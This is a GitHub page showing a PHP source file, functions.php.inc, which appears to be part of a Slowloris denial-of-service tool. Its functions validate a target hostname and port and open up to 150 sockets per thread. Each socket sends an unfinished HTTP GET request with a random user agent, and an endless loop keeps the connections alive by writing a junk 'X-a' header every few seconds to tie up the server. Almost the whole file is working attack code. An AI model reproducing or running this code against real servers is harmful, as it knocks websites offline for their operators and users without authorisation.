-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfunctions.php.inc
131 lines (99 loc) · 3.29 KB
/
functions.php.inc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php
include __DIR__ . '/user-agents.php.inc';
const DEFAULT_SOCKET_COUNT = 150;
const DEFAULT_TIMEOUT = 10;
const DEFAULT_THREAD_COUNT = 3;
function getRandomUserAgent(): string
{
return USER_AGENTS[\array_rand(USER_AGENTS)];
}
function validateArguments(array $argv): array
{
$hostname = $argv[1] ?? null;
$port = $argv[2] ?? null;
$threadCount = $argv[3] ?? DEFAULT_THREAD_COUNT;
$socketCount = $argv[4] ?? DEFAULT_SOCKET_COUNT;
$timeout = $argv[5] ?? DEFAULT_TIMEOUT;
if (!$hostname && !$port) {
echo 'usage: php slowloris.php hostname port [threadCount] [socketCount] [timeout]' . PHP_EOL;
die;
}
if (!is_numeric($port)) {
echo 'Port must be numeric' . PHP_EOL;
die;
}
if (!is_numeric($threadCount)) {
echo 'Thread count must be numeric' . PHP_EOL;
die;
}
if (!is_numeric($socketCount)) {
echo 'Socket count must be numeric' . PHP_EOL;
die;
}
if (!is_numeric($timeout)) {
echo 'Timeout must be numeric' . PHP_EOL;
die;
}
return [$hostname, $port, $threadCount, $socketCount, $timeout];
}
/**
* @param string $hostname
* @param int $port
*
* @return false|resource
*/
function initializeSocket(string $hostname, int $port)
{
$socket = \socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (@\socket_connect($socket, \gethostbyname($hostname), $port) === false) {
echo 'Could not connect to host!' . PHP_EOL;
return false;
}
$userAgent = getRandomUserAgent();
$message = "GET / HTTP/1.1\r\n";
$message .= "Host: $hostname\r\n";
$message .= "User-Agent: $userAgent\r\n";
$message .= "Accept-Language: en-US,en,q=0.5\r\n";
\socket_write($socket, $message, \strlen($message));
return $socket;
}
function registerSignals(array &$listOfSockets = []): void
{
$callback = static function () use (&$listOfSockets) {
echo 'Gracefully shutting down...' . PHP_EOL;
foreach ($listOfSockets as $key => $socket) {
echo 'closing socket...' . PHP_EOL;
\socket_close($socket);
unset($listOfSockets[$key]);
}
die;
};
\pcntl_async_signals(true);
\pcntl_signal(\SIGINT, $callback);
\pcntl_signal(\SIGTERM, $callback);
\pcntl_signal(\SIGUSR1, $callback);
}
function flood(string $hostname, int $port, int $socketCount, int $timeout, array $listOfSockets): void
{
while (true) {
$activeCount = ($socketCount - \count($listOfSockets));
echo 'Building sockets...' . PHP_EOL;
for ($i = 0; $i < $activeCount; $i++) {
$socket = initializeSocket($hostname, $port);
$listOfSockets[] = $socket;
}
$packetCount = 0;
echo 'Sending data...' . PHP_EOL;
foreach ($listOfSockets as $key => $socket) {
$message = \sprintf("X-a: %s\r\n", \random_int(1, 5000));
if (@\socket_write($socket, $message, \strlen($message)) === false) {
unset($listOfSockets[$key]);
\socket_close($socket);
} else {
$packetCount++;
}
}
echo "$packetCount packets sent successfully. Thread now sleeping for $timeout seconds..." . PHP_EOL;
\sleep($timeout);
}
}